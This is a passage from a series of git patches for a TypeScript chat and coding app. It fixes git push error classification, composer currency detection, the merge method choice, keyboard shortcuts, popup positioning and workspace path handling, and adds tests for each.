Stream.encodeText(Stream.make(stderr)), + }); + const makeTmpDir = ( prefix = "git-vcs-driver-test-", ): Effect.Effect => @@ -803,6 +810,88 @@ it.effect("retries a fetch that lost a ref update to another Git process", () => }).pipe(Effect.provide(layerServerConfig.pipe(Layer.provideMerge(NodeServices.layer)))), ); +describe("rejected git refs", () => { + const remoteUrl = "https://user:token-123@git.example.invalid/org/secret-repo.git"; + const failedPush = `error: failed to push some refs to '${remoteUrl}'`; + const leakedText = [ + "token-123", + "secret-repo", + "git.example.invalid", + "private-branch", + "workflow scope", + ]; + + const failWith = (stderr: string) => { + const spawner = ChildProcessSpawner.make(() => Effect.succeed(makeFailedHandle(stderr))); + const layer = GitVcsDriver.layer.pipe( + Layer.provide(layerServerConfig), + Layer.provideMerge( + Layer.merge( + NodeServices.layer, + Layer.succeed(ChildProcessSpawner.ChildProcessSpawner, spawner), + ), + ), + ); + return Effect.gen(function* () { + const driver = yield* GitVcsDriver.GitVcsDriver; + return yield* driver + .execute({ + operation: "GitVcsDriver.test.rejectedRef", + cwd: "/repo", + args: ["push", "origin", "HEAD"], + }) + .pipe(Effect.flip); + }).pipe(Effect.provide(layer)); + }; + + it.effect.each([ + { + label: "a ref the remote refused", + stderr: [ + "remote: Unable to determine if workflow can be created; workflow scope may be required.", + `To ${remoteUrl}`, + " ! [remote rejected] private-branch -> private-branch (workflow scope may be required.)", + failedPush, + ], + reason: "push_rejected_by_remote" as const, + detail: "The remote rejected the push.", + }, + { + label: "a non-fast-forward push", + stderr: [ + `To ${remoteUrl}`, + " ! [rejected] private-branch -> private-branch (non-fast-forward)", + failedPush, + ], + reason: "push_rejected_non_fast_forward" as const, + detail: "Pull or rebase", + }, + ])("names $label without quoting stderr", ({ stderr, reason, detail }) => + Effect.gen(function* () { + const error = yield* failWith(stderr.join("\n")); + + assert.deepInclude(error, { reason }); + assert.include(error.detail, detail); + for (const text of leakedText) assert.notInclude(error.message, text); + }), + ); + + // A fetch into a diverged local branch prints the same rejected line, but + // never "failed to push some refs". + it.effect("leaves a rejected fetch unclassified", () => + Effect.gen(function* () { + const error = yield* failWith( + [`From ${remoteUrl}`, " ! [rejected] main -> side (non-fast-forward)"].join( + "\n", + ), + ); + + assert.equal(error.reason, undefined); + assert.equal(error.detail, "Git command exited with a non-zero status."); + }), + ); +}); + it.layer(layerTest)("GitVcsDriver core integration", (it) => { describe("structured errors", () => { it.effect("does not retain git arguments or stderr in command failures", () => @@ -1071,7 +1160,7 @@ it.layer(layerTest)("GitVcsDriver core integration", (it) => { }), ); - it.effect("does not read remote hook output as a git failure reason", () => + it.effect("reads a hook-declined push from git's rejection line, not the hook's output", () => Effect.gen(function* () { const parent = yield* makeTmpDir(); const pathService = yield* Path.Path; @@ -1100,7 +1189,7 @@ it.layer(layerTest)("GitVcsDriver core integration", (it) => { }) .pipe(Effect.flip); - assert.notProperty(error, "reason"); + assert.deepInclude(error, { reason: "push_rejected_by_remote" }); assert.notInclude(error.message, "(authentication_failed)"); }), ); diff --git a/apps/server/src/vcs/GitVcsDriverCore.ts b/apps/server/src/vcs/GitVcsDriverCore.ts index 0f3fe9a1e6b2..62798374d2aa 100644 --- a/apps/server/src/vcs/GitVcsDriverCore.ts +++ b/apps/server/src/vcs/GitVcsDriverCore.ts @@ -456,8 +456,32 @@ const GIT_FAILURE_REASON_PATTERNS: ReadonlyArray> = { + push_rejected_by_remote: + "The remote rejected the push. Push this branch from a terminal to see the server's message.", + push_rejected_non_fast_forward: + "The remote has commits this branch doesn't have. Pull or rebase, then push again.", +}; + +function gitFailureDetail(reason: GitCommandFailureReason | null): string { + return ( + (reason === null ? undefined : GIT_FAILURE_REASON_DETAILS[reason]) ?? + "Git command exited with a non-zero status." + ); +} + // Existing non-commit objects share the missing-ref fatal diagnostic; Git // distinguishes them with a separate error line. const GIT_NOT_A_COMMIT_PATTERN = /^error: .+(?:, not a commit|expected commit type)/im; @@ -1031,7 +1055,7 @@ export const makeGitVcsDriverCore = Effect.fn("makeGitVcsDriverCore")(function* return yield* new GitCommandError({ ...gitCommandContext(commandInput), ...(reason === null ? {} : { reason }), - detail: "Git command exited with a non-zero status.", + detail: gitFailureDetail(reason), exitCode, stdoutLength: stdout.text.length, stderrLength: stderr.text.length, @@ -1123,7 +1147,7 @@ export const makeGitVcsDriverCore = Effect.fn("makeGitVcsDriverCore")(function* new GitCommandError({ ...gitCommandContext({ operation, cwd, args }), ...(reason === null ? {} : { reason }), - detail: options.fallbackErrorDetail ?? "Git command exited with a non-zero status.", + detail: options.fallbackErrorDetail ?? gitFailureDetail(reason), ...(result.exitCode === null ? {} : { exitCode: result.exitCode }), stdoutLength: result.stdout.length, stderrLength: result.stderr.length, diff --git a/packages/contracts/src/git.ts b/packages/contracts/src/git.ts index 0976dcb07d5a..cc5fcd014580 100644 --- a/packages/contracts/src/git.ts +++ b/packages/contracts/src/git.ts @@ -361,6 +361,8 @@ export const GitCommandFailureReason = Schema.Literals([ "host_key_unverified", "not_a_repository", "path_already_exists", + "push_rejected_by_remote", + "push_rejected_non_fast_forward", "ref_not_found", "remote_unreachable", "tag_would_be_clobbered", From 1ee0241730ef5d2592347280118a2c77e8fb797c Mon Sep 17 00:00:00 2001 From: MarcoDotIO Date: Wed, 21 Oct 2026 18:09:23 -0400 Subject: [PATCH 070/130] fix(composer): typing a price no longer opens the skill menu (#21519) Co-authored-by: Claude Opus 5.5 --- apps/web/src/composer-logic.test.ts | 12 +++++++++++ apps/web/src/composer-logic.ts | 3 ++- packages/shared/src/composerTrigger.test.ts | 22 +++++++++++++++++++++ packages/shared/src/composerTrigger.ts | 10 ++++++++++ 4 files changed, 46 insertions(+), 1 deletion(-) diff --git a/apps/web/src/composer-logic.test.ts b/apps/web/src/composer-logic.test.ts index 69d02eb3bf8d..6bbc30d0ade5 100644 --- a/apps/web/src/composer-logic.test.ts +++ b/apps/web/src/composer-logic.test.ts @@ -266,6 +266,18 @@ describe("detectComposerTrigger", () => { expect(trigger).toBeNull(); }); + it.each([ + "It costs $5", + "budget $9.99", + "only $.99", + "about €20", + "raise $10k", + "raise $10k.", + "is it $5?", + ])("does not detect a skill trigger for the amount in %j", (text) => { + expect(detectComposerTrigger(text, text.length)).toBeNull(); + }); + it("detects a pull request number at a token boundary", () => { const text = "Compare this with #8737"; diff --git a/apps/web/src/composer-logic.ts b/apps/web/src/composer-logic.ts index 7046abd6ed2f..95e1d73c0220 100644 --- a/apps/web/src/composer-logic.ts +++ b/apps/web/src/composer-logic.ts @@ -9,7 +9,7 @@ import { serializeAssistantCitation, withAssistantCitationComment, } from "@t3tools/shared/assistantCitations"; -import { isPathWord } from "@t3tools/shared/composerTrigger"; +import { isCurrencyAmountQuery, isPathWord } from "@t3tools/shared/composerTrigger"; import { splitPromptIntoComposerSegments, type ComposerPromptSegment, @@ -302,6 +302,7 @@ export function detectComposerTrigger(text: string, cursorInput: number): Compos } const skillPrefix = /^\p{Sc}/u.exec(token); if (skillPrefix) { + if (isCurrencyAmountQuery(token.slice(skillPrefix[0].length))) return null; return { kind: "skill", query: token.slice(skillPrefix[0].length), diff --git a/packages/shared/src/composerTrigger.test.ts b/packages/shared/src/composerTrigger.test.ts index 677f77c20a42..221ddb5b804c 100644 --- a/packages/shared/src/composerTrigger.test.ts +++ b/packages/shared/src/composerTrigger.test.ts @@ -41,6 +41,28 @@ describe("detectComposerTrigger", () => { rangeEnd: text.length, }); }); + + it.each([ + "It costs $5", + "budget $9.99", + "only $.99", + "about €20", + "raise $10k", + "$1,000", + "£2e6", + "raise $10k.", + "is it $5?", + "(about $9.99)", + ])("does not open the skill menu for the amount in %j", (text) => + expect(detectComposerTrigger(text, text.length)).toBeNull(), + ); + + it.each(["$", "$1password", "$2fa"])("still detects the skill prefix %j", (text) => { + expect(detectComposerTrigger(text, text.length)).toMatchObject({ + kind: "skill", + query: text.slice(1), + }); + }); }); describe("serializeComposerFileLink", () => { diff --git a/packages/shared/src/composerTrigger.ts b/packages/shared/src/composerTrigger.ts index f8f77ffae3ea..389a2cc916d6 100644 --- a/packages/shared/src/composerTrigger.ts +++ b/packages/shared/src/composerTrigger.ts @@ -62,6 +62,15 @@ export function isPathWord( return text.slice(wordStart + 1, wordEnd).includes("/"); } +/** + * `$5`, `€9.99` and `$10k` are money, not skills. Matches the amounts the inline skill + * token regexes already refuse to render as skills, plus the punctuation prose puts after + * one (`$10k.`, `($5)`). + */ +export function isCurrencyAmountQuery(query: string): boolean { + return /^\.?[0-9][0-9,._]*(?:[kKmMbBtT]|[eE][0-9]+)?[.,;:!?)]*$/.test(query); +} + export function detectComposerTrigger( text: string, cursorInput: number, @@ -132,6 +141,7 @@ export function detectComposerTrigger( }; const skillPrefix = /^\p{Sc}/u.exec(token); if (skillPrefix) { + if (isCurrencyAmountQuery(token.slice(skillPrefix[0].length))) return null; return { kind: "skill", query: token.slice(skillPrefix[0].length), From a35066d9f21616056bc438c894573900ebe87352 Mon Sep 17 00:00:00 2001 From: Tristan Knight Date: Wed, 21 Oct 2026 23:10:22 +0100 Subject: [PATCH 071/130] fix(web): thread details PR merge uses the last selected merge method (#22399) --- .../chat/ThreadDetailsPrRow.browser.test.tsx | 44 ++++++++++++++++++- .../components/chat/ThreadDetailsPrRow.tsx | 15 +++++-- .../pullRequest/pullRequestDetail.logic.ts | 7 --- .../pullRequest/usePullRequestActions.ts | 2 +- 4 files changed, 55 insertions(+), 13 deletions(-) diff --git a/apps/web/src/components/chat/ThreadDetailsPrRow.browser.test.tsx b/apps/web/src/components/chat/ThreadDetailsPrRow.browser.test.tsx index 048b96baad90..d2f129010879 100644 --- a/apps/web/src/components/chat/ThreadDetailsPrRow.browser.test.tsx +++ b/apps/web/src/components/chat/ThreadDetailsPrRow.browser.test.tsx @@ -6,6 +6,7 @@ import { expect, it, vi } from "vite-plus/test"; const state = vi.hoisted(() => ({ status: "success" as PullRequestCheck["status"], extraStatus: null as PullRequestCheck["status"] | null, + mergeMethods: ["merge"] as Array<"merge" | "squash" | "rebase">, perform: vi.fn(), newThread: vi.fn(), prepareThread: vi.fn(), @@ -45,9 +46,13 @@ const queryData = () => ({ description: null, url: null, })), - capabilities: { actions: ["merge"], mergeMethods: ["merge"] }, + capabilities: { actions: ["merge"], mergeMethods: state.mergeMethods }, viewerPermissions: { actions: ["merge"] }, - mergeCapabilities: { merge: true, squash: false, rebase: false }, + mergeCapabilities: { + merge: state.mergeMethods.includes("merge"), + squash: state.mergeMethods.includes("squash"), + rebase: state.mergeMethods.includes("rebase"), + }, }); vi.mock(import("~/state/query"), async (importOriginal) => ({ ...(await importOriginal()), @@ -96,8 +101,41 @@ vi.mock(import("../ui/toast"), async (original) => { }); import { act, render as renderUi } from "../../../test/render"; +import { useUiStateStore } from "~/uiStateStore"; import { ThreadDetailsPrRow } from "./ThreadDetailsPrRow"; +it("merges with the last selected merge method", async () => { + await using screen = await setup(); + const { container } = screen; + state.mergeMethods = ["merge", "squash"]; + useUiStateStore.getState().setPullRequestMergeMethod("squash"); + await act(async () => { + await screen.rerender( + , + ); + }); + const clickMerge = async (scope: ParentNode) => + await act(async () => { + [...scope.querySelectorAll("button")] + .find((button) => button.textContent?.trim() === "Merge")! + .click(); + }); + await clickMerge(container); + const dialog = document.querySelector('[role="alertdialog"]')!; + expect(dialog.textContent).toContain("using squash"); + await clickMerge(dialog); + expect(state.perform).toHaveBeenCalledWith("merge", "squash"); +}); + it("requires a new merge click after passing checks become pending and pass again", async () => { await using screen = await setup(); const { container } = screen; @@ -152,5 +190,7 @@ async function setup() { state.status = "success"; state.extraStatus = null; + state.mergeMethods = ["merge"]; + useUiStateStore.getState().setPullRequestMergeMethod("merge"); return renderUi(null); } diff --git a/apps/web/src/components/chat/ThreadDetailsPrRow.tsx b/apps/web/src/components/chat/ThreadDetailsPrRow.tsx index c419beb89d39..c6741fa035e4 100644 --- a/apps/web/src/components/chat/ThreadDetailsPrRow.tsx +++ b/apps/web/src/components/chat/ThreadDetailsPrRow.tsx @@ -21,6 +21,7 @@ import { usePullRequestChecksRefresh } from "~/hooks/usePullRequestChecksRefresh import { cn } from "~/lib/utils"; import { useServerConfigs } from "~/state/entities"; import { pullRequestEnvironment } from "~/state/pullRequests"; +import { useUiStateStore } from "~/uiStateStore"; import { useEnvironmentQueryIsNewer, useEnvironmentQueryRefresh, @@ -33,7 +34,7 @@ import { classifyPullRequestChecks, describePullRequestChecks, isPullRequestConflicting, - resolveSelectedMergeMethod, + resolvePullRequestMergeMethod, allowedPullRequestMergeMethods, resolveThreadPanelPullRequestAction, } from "../pullRequest/pullRequestDetail.logic"; @@ -46,6 +47,7 @@ import { } from "../pullRequest/pullRequestPresentation"; import { usePullRequestActionRunner, + usePullRequestDefaultMergeMethodResolver, usePullRequestHandoffs, } from "../pullRequest/usePullRequestActions"; import { @@ -166,6 +168,11 @@ export function ThreadDetailsPrRow({ }, }); const { handoff, startHandoff } = usePullRequestHandoffs({ environmentId, detail }); + const lastSelectedMergeMethod = useUiStateStore((state) => state.pullRequestMergeMethod); + const resolveProjectDefaultMergeMethod = usePullRequestDefaultMergeMethodResolver( + environmentId, + (project?.id as ProjectId | undefined) ?? null, + ); const [confirmingMerge, setConfirmingMerge] = useState(false); const rowAction = resolveThreadPanelPullRequestAction(detail); @@ -175,9 +182,11 @@ export function ThreadDetailsPrRow({ const conflicting = isPullRequestConflicting(detail); const checksState = detail === null ? "none" : classifyPullRequestChecks(detail.checks); const checksRollup = detail === null ? null : pullRequestChecksState(detail.checks); - const selectedMergeMethod = resolveSelectedMergeMethod( + const selectedMergeMethod = resolvePullRequestMergeMethod( allowedPullRequestMergeMethods(detail), - "merge", + null, + resolveProjectDefaultMergeMethod(), + lastSelectedMergeMethod, ); const startResolveConflicts = () => { diff --git a/apps/web/src/components/pullRequest/pullRequestDetail.logic.ts b/apps/web/src/components/pullRequest/pullRequestDetail.logic.ts index d0a4e506b46f..b4d7a7052163 100644 --- a/apps/web/src/components/pullRequest/pullRequestDetail.logic.ts +++ b/apps/web/src/components/pullRequest/pullRequestDetail.logic.ts @@ -292,13 +292,6 @@ export function allowedPullRequestMergeMethods( : detail.capabilities.mergeMethods.filter((method) => detail.mergeCapabilities[method]); } -export function resolveSelectedMergeMethod( - allowedMergeMethods: ReadonlyArray, - preferred: PullRequestMergeMethod, -): PullRequestMergeMethod { - return allowedMergeMethods.includes(preferred) ? preferred : (allowedMergeMethods[0] ?? "merge"); -} - function canPerformPullRequestAction( detail: Pick | null, action: PullRequestAction, diff --git a/apps/web/src/components/pullRequest/usePullRequestActions.ts b/apps/web/src/components/pullRequest/usePullRequestActions.ts index 68effbe5780c..f851678a27ed 100644 --- a/apps/web/src/components/pullRequest/usePullRequestActions.ts +++ b/apps/web/src/components/pullRequest/usePullRequestActions.ts @@ -42,7 +42,7 @@ import { pullRequestEntryKey, type EnvironmentPullRequestEntry } from "./pullReq export function usePullRequestDefaultMergeMethodResolver( environmentId: EnvironmentId, - projectId: ProjectId, + projectId: ProjectId | null, ) { const projectDefault = useEnvironmentSettings( environmentId, From bee9ce829bb72503e3eaebeeb7397ba96b9762d0 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 15:10:47 -0700 Subject: [PATCH 072/130] fix(web): a Usage toggle shortcut now goes back instead of staying on Usage (#22905) Co-authored-by: Victor Vogel Co-authored-by: GPT-6.1 Sol Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/AppSidebarLayout.tsx | 6 ++- apps/web/src/components/CommandPalette.tsx | 3 ++ .../UsageToggleShortcut.browser.test.tsx | 52 +++++++++++++++++++ 3 files changed, 59 insertions(+), 2 deletions(-) create mode 100644 apps/web/src/components/UsageToggleShortcut.browser.test.tsx diff --git a/apps/web/src/components/AppSidebarLayout.tsx b/apps/web/src/components/AppSidebarLayout.tsx index 311efa7e5f0c..526ac86a6c9a 100644 --- a/apps/web/src/components/AppSidebarLayout.tsx +++ b/apps/web/src/components/AppSidebarLayout.tsx @@ -219,7 +219,8 @@ function routePanelsOpen(routeThreadRef: ReturnType) { }; } -function NavigationHistoryShortcuts() { +export function NavigationHistoryShortcuts() { + const usagePageOpen = useLocation({ select: (location) => location.pathname === "/usage" }); const keybindings = useAtomValue(primaryServerKeybindingsAtom); const routeThreadRef = useThreadRouteRef(); @@ -239,6 +240,7 @@ function NavigationHistoryShortcuts() { ...routePanelsOpen(routeThreadRef), editableFocus: isEditableFocused(event.target), modelPickerOpen: isModelPickerOpen(), + usagePageOpen, }, }); if (command !== "navigation.back" && command !== "navigation.forward") return; @@ -251,7 +253,7 @@ function NavigationHistoryShortcuts() { window.addEventListener("keydown", onKeyDown); return () => window.removeEventListener("keydown", onKeyDown); - }, [keybindings, routeThreadRef]); + }, [keybindings, routeThreadRef, usagePageOpen]); return null; } diff --git a/apps/web/src/components/CommandPalette.tsx b/apps/web/src/components/CommandPalette.tsx index 5ee7676de332..0d2b480e89c9 100644 --- a/apps/web/src/components/CommandPalette.tsx +++ b/apps/web/src/components/CommandPalette.tsx @@ -237,6 +237,7 @@ const EMPTY_BROWSE_ENTRIES: FilesystemBrowseResult["entries"] = []; export function CommandPalette({ children }: { children: ReactNode }) { const navigate = useNavigate(); + const usagePageOpen = useLocation({ select: (location) => location.pathname === "/usage" }); const [state, dispatch] = useReducer(reduceCommandPaletteUiState, { open: false, mode: "command", @@ -287,6 +288,7 @@ export function CommandPalette({ children }: { children: ReactNode }) { previewFocus: isPreviewFocused(), previewOpen, modelPickerOpen: composerHandleRef.current?.isModelPickerOpen() ?? false, + usagePageOpen, }, }); if (command === "appearance.cycle") { @@ -352,6 +354,7 @@ export function CommandPalette({ children }: { children: ReactNode }) { theme, themeHalves, toggleMode, + usagePageOpen, ]); useEffect( diff --git a/apps/web/src/components/UsageToggleShortcut.browser.test.tsx b/apps/web/src/components/UsageToggleShortcut.browser.test.tsx new file mode 100644 index 000000000000..1efaa2837b00 --- /dev/null +++ b/apps/web/src/components/UsageToggleShortcut.browser.test.tsx @@ -0,0 +1,52 @@ +import { compileResolvedKeybindingsConfig } from "@t3tools/shared/keybindings"; +import { describe, expect, it, vi } from "vite-plus/test"; +import { userEvent } from "vite-plus/test/browser"; + +import { render } from "../../test/render"; + +const state = vi.hoisted(() => ({ navigate: vi.fn() })); + +// One key toggles Usage: it opens Usage elsewhere and goes back from it. +const keybindings = compileResolvedKeybindingsConfig([ + { key: "mod+u", command: "navigation.back", when: "usagePageOpen" }, + { key: "mod+u", command: "usage.open", when: "!usagePageOpen" }, +]); + +vi.mock(import("@effect/atom-react"), async (original) => ({ + ...(await original()), + useAtomValue: (() => keybindings) as never, +})); +vi.mock(import("@tanstack/react-router"), async (original) => ({ + ...(await original()), + useNavigate: (() => state.navigate) as never, +})); + +import { NavigationHistoryShortcuts } from "./AppSidebarLayout"; +import { CommandPalette } from "./CommandPalette"; + +// regression: #21357 +describe("usage toggle shortcut on Usage", () => { + it("goes back", async () => { + vi.clearAllMocks(); + using _platform = vi.spyOn(navigator, "platform", "get").mockReturnValue("Linux x86_64"); + await using _screen = await render(, { router: "/usage" }); + + using back = vi.spyOn(window.history, "back").mockImplementation(() => undefined); + await userEvent.keyboard("{Control>}u{/Control}"); + + expect(back).toHaveBeenCalledOnce(); + }); + + // Both listeners sit on window, so the palette must not claim the key whatever their order. + it("does not reopen Usage from the command palette", async () => { + vi.clearAllMocks(); + using _platform = vi.spyOn(navigator, "platform", "get").mockReturnValue("Linux x86_64"); + await using _screen = await render({null}, { + router: "/usage", + }); + + await userEvent.keyboard("{Control>}u{/Control}"); + + expect(state.navigate).not.toHaveBeenCalled(); + }); +}); From 159f2b8cc33a46c2dfed7d394ec8eb54bad03c03 Mon Sep 17 00:00:00 2001 From: Etan Heyman <93338119+EtanHey@users.noreply.github.com> Date: Thu, 22 Oct 2026 01:11:11 +0300 Subject: [PATCH 073/130] fix(web): quote comment box stays on screen for long code lines (#22149) Co-authored-by: Claude Opus 5.5 --- .../AssistantCitationChip.browser.test.tsx | 50 +++++++++++++++++++ .../components/chat/AssistantCitationChip.tsx | 10 +++- 2 files changed, 59 insertions(+), 1 deletion(-) diff --git a/apps/web/src/components/chat/AssistantCitationChip.browser.test.tsx b/apps/web/src/components/chat/AssistantCitationChip.browser.test.tsx index 8dc91214b50a..deee8d7afa69 100644 --- a/apps/web/src/components/chat/AssistantCitationChip.browser.test.tsx +++ b/apps/web/src/components/chat/AssistantCitationChip.browser.test.tsx @@ -6,8 +6,10 @@ import { } from "@t3tools/contracts"; import { useState, type ReactNode } from "react"; import { describe, expect, it, vi } from "vite-plus/test"; +import { userEvent } from "vite-plus/test/browser"; import type { AssistantCitationSourceAnchor } from "~/lib/assistantTextSelection"; +import "~/index.css"; import { act, render } from "../../../test/render"; const mocks = vi.hoisted(() => ({ observeSource: vi.fn(), dispose: vi.fn() })); @@ -125,3 +127,51 @@ describe("citation comment source disappearance", () => { expect(textarea()).toBeNull(); }); }); + +describe("citation comment popup position", () => { + it("stays on screen when the cited text ends in a code block's hidden overflow", async () => { + using _source = setup(); + const message = document.createElement("div"); + message.className = "chat-markdown"; + message.style.width = "240px"; + const pre = document.createElement("pre"); + const code = document.createElement("code"); + // Highlighted code is split into token spans, so the range's last client rect + // covers only the final token, wholly inside the hidden overflow. + for (let index = 0; index < 40; index += 1) { + const token = document.createElement("span"); + token.textContent = `token${index} `; + code.append(token); + } + pre.append(code); + message.append(pre); + document.body.prepend(message); + using _message = { [Symbol.dispose]: () => message.remove() }; + const range = document.createRange(); + range.selectNodeContents(code); + const rects = range.getClientRects(); + expect(rects.item(rects.length - 1)!.left).toBeGreaterThan(window.innerWidth); + const sourceAnchor = { + source: message, + range, + viewport: document.body, + } as AssistantCitationSourceAnchor; + + await using _screen = await mount( + sourceAnchor, + vi.fn(() => true), + ); + const popup = () => document.querySelector('[data-slot="popover-popup"]'); + await vi.waitFor(() => expect(popup()?.getBoundingClientRect().width).toBeGreaterThan(0)); + // Typing scrolls ancestors to reveal the caret, which shifts the whole app + // sideways when the box is off screen. + await userEvent.keyboard("note"); + + expect(textarea()?.value).toBe("note"); + expect(document.scrollingElement?.scrollLeft).toBe(0); + expect(document.body.scrollLeft).toBe(0); + const rect = popup()!.getBoundingClientRect(); + expect(rect.left).toBeGreaterThanOrEqual(0); + expect(rect.right).toBeLessThanOrEqual(window.innerWidth); + }); +}); diff --git a/apps/web/src/components/chat/AssistantCitationChip.tsx b/apps/web/src/components/chat/AssistantCitationChip.tsx index 741880d41161..dd21f7c46684 100644 --- a/apps/web/src/components/chat/AssistantCitationChip.tsx +++ b/apps/web/src/components/chat/AssistantCitationChip.tsx @@ -94,7 +94,15 @@ export function AssistantCitationChip({ contextElement: activeSourceAnchor.source, getBoundingClientRect: () => { const rects = activeSourceAnchor.range.getClientRects(); - return rects.item(rects.length - 1) ?? activeSourceAnchor.range.getBoundingClientRect(); + const rect = + rects.item(rects.length - 1) ?? activeSourceAnchor.range.getBoundingClientRect(); + // Code blocks and tables scroll sideways inside the message, so the cited + // text can end in their hidden overflow. Base UI only shifts the popup while + // it still touches the anchor, so clamp the anchor to the message's width. + const bounds = activeSourceAnchor.source.getBoundingClientRect(); + const left = Math.min(Math.max(rect.left, bounds.left), bounds.right); + const right = Math.max(Math.min(rect.right, bounds.right), left); + return new DOMRect(left, rect.top, right - left, rect.height); }, } : undefined; From 86fa9e0a0c4e3cdadff15d25583978ec80a80834 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 15:11:36 -0700 Subject: [PATCH 074/130] fix(web): right panel launcher letters open their surface instead of typing into the composer (#22898) Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 --- .../components/chat/composerFocusRedirect.ts | 12 +++ .../chat/useChatShortcuts.browser.test.tsx | 89 +++++++++++++++++++ 2 files changed, 101 insertions(+) create mode 100644 apps/web/src/components/chat/useChatShortcuts.browser.test.tsx diff --git a/apps/web/src/components/chat/composerFocusRedirect.ts b/apps/web/src/components/chat/composerFocusRedirect.ts index 2bdd6834239a..db5e18ad6d4d 100644 --- a/apps/web/src/components/chat/composerFocusRedirect.ts +++ b/apps/web/src/components/chat/composerFocusRedirect.ts @@ -47,6 +47,17 @@ export function eventPathContainsSelector(event: Event, selector: string): boole } const SECRET_REQUEST_SELECTOR = '[data-v2-item-type="secret_request"]'; +const SURFACE_LAUNCHER_KEYS_ATTRIBUTE = "data-surface-launcher-keys"; + +// The right-panel launcher registers its own window capture listener when it +// mounts. When the panel opens after page load that listener runs after ours, +// so we must leave its letters alone or the composer takes them first. +function isSurfaceLauncherKey(key: string): boolean { + const launcherKeys = document + .querySelector(`[${SURFACE_LAUNCHER_KEYS_ATTRIBUTE}]`) + ?.getAttribute(SURFACE_LAUNCHER_KEYS_ATTRIBUTE); + return launcherKeys?.toLowerCase().includes(key.toLowerCase()) ?? false; +} export function shouldRedirectInputToComposer(event: Event): boolean { if (event.defaultPrevented) return false; @@ -64,6 +75,7 @@ export function shouldTypeToFocusComposer(event: KeyboardEvent): boolean { if (event.metaKey || event.ctrlKey || event.altKey) return false; if (event.key.length !== 1) return false; if (!shouldRedirectInputToComposer(event)) return false; + if (isSurfaceLauncherKey(event.key)) return false; return true; } diff --git a/apps/web/src/components/chat/useChatShortcuts.browser.test.tsx b/apps/web/src/components/chat/useChatShortcuts.browser.test.tsx new file mode 100644 index 000000000000..e0163288e44f --- /dev/null +++ b/apps/web/src/components/chat/useChatShortcuts.browser.test.tsx @@ -0,0 +1,89 @@ +import { useEffect } from "react"; +import { expect, it } from "vite-plus/test"; +import { userEvent } from "vite-plus/test/browser"; + +import { render } from "../../../test/render"; +import { useChatShortcuts } from "./useChatShortcuts"; + +const shortcutContext = { + terminalFocus: false, + terminalOpen: false, + previewFocus: false, + previewOpen: false, + isWeb: true, + isDesktop: false, + modelPickerOpen: false, +}; + +const focusOnMount = (element: HTMLElement | null) => element?.focus(); + +// Stands in for the right panel's launcher, which needs the whole app around it. Like the +// real one it takes focus, advertises its letters in `data-surface-launcher-keys`, and +// claims one from its own window capture listener unless the key was already handled. +function Launcher(props: { keys: string; received: string[] }) { + useEffect(() => { + const claim = (event: KeyboardEvent) => { + if (event.defaultPrevented) return; + if (!props.keys.toLowerCase().split("").includes(event.key.toLowerCase())) return; + event.preventDefault(); + props.received.push(event.key); + }; + window.addEventListener("keydown", claim, true); + return () => window.removeEventListener("keydown", claim, true); + }, [props.keys, props.received]); + return ( +
+ ); +} + +// The chat's shortcut listener registers when the chat mounts, so a launcher that opens +// later registers after it. Tests mount the chat first and add the launcher by rerendering. +function Chat(props: { composerKeys: string[]; launcher?: { keys: string; received: string[] } }) { + useChatShortcuts({ + enabled: true, + keybindings: [], + scriptKeybindings: [], + getShortcutContext: () => shortcutContext, + threadFindActive: false, + typeIntoComposer: (key) => { + props.composerKeys.push(key); + return true; + }, + closeThreadFind: () => {}, + commands: {}, + fallback: () => undefined, + }); + return props.launcher ? : null; +} + +// router: false because the chat shortcuts and the launcher stand-in never navigate. +const options = { router: false } as const; + +it("leaves the launcher's letters to the launcher, in either case", async () => { + const composerKeys: string[] = []; + const received: string[] = []; + await using screen = await render(, options); + await screen.rerender(); + + await userEvent.keyboard("tT"); + + expect(received).toEqual(["t", "T"]); + expect(composerKeys).toEqual([]); +}); + +it("still types other letters into the composer while the launcher is open", async () => { + const composerKeys: string[] = []; + const received: string[] = []; + await using screen = await render(, options); + await screen.rerender(); + + await userEvent.keyboard("a"); + + expect(composerKeys).toEqual(["a"]); + expect(received).toEqual([]); +}); From edce5f0e53e8f0a80ed0c6b553edfe7b6467bc14 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 15:12:20 -0700 Subject: [PATCH 075/130] fix(web): ../ file links outside the workspace open as host files (#22853) Co-authored-by: Claude Opus 5.5 --- packages/shared/src/path.test.ts | 4 ++++ packages/shared/src/path.ts | 10 +++++++++- 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/packages/shared/src/path.test.ts b/packages/shared/src/path.test.ts index 32cdb8ab2c88..ad7f88c1bd04 100644 --- a/packages/shared/src/path.test.ts +++ b/packages/shared/src/path.test.ts @@ -43,6 +43,10 @@ describe("workspaceRelativeFilePath", () => { ["/Repo/Project/src/main.ts", "/repo/project", null], ["C:/USERS/mike/t3code/main.ts", "c:/users/MIKE/t3code", "main.ts"], ["/repo/project-two/a.ts", "/repo/project", null], + // regression: #16354 a `..` that leaves the root is a host path, not a workspace path + ["/repo/project/../other/notes.md", "/repo/project", null], + ["C:\\repo\\project\\src\\..\\..\\notes.md", "C:\\repo\\project", null], + ["/repo/project/docs/a/../b.md", "/repo/project", "docs/a/../b.md"], ])("relates %s to %s", (path, workspaceRoot, relativePath) => { expect(workspaceRelativeFilePath(path, workspaceRoot)).toBe(relativePath); }); diff --git a/packages/shared/src/path.ts b/packages/shared/src/path.ts index 62dd11d91296..ba06f352cb14 100644 --- a/packages/shared/src/path.ts +++ b/packages/shared/src/path.ts @@ -98,7 +98,15 @@ export function workspaceRelativeFilePath( const rootForCompare = caseInsensitive ? normalizedRoot.toLowerCase() : normalizedRoot; if (pathForCompare.replace(/\/+$/, "") === rootForCompare) return "."; if (!pathForCompare.startsWith(`${rootForCompare}/`)) return null; - return normalizedPath.slice(normalizedRoot.length + 1); + const relativePath = normalizedPath.slice(normalizedRoot.length + 1); + // `/repo/../x` starts with the root but escapes it; the server rejects that as a workspace path. + let depth = 0; + for (const segment of relativePath.split("/")) { + if (segment === "..") depth -= 1; + else if (segment.length > 0 && segment !== ".") depth += 1; + if (depth < 0) return null; + } + return relativePath; } export function isAbsolutePath(value: string): boolean { From 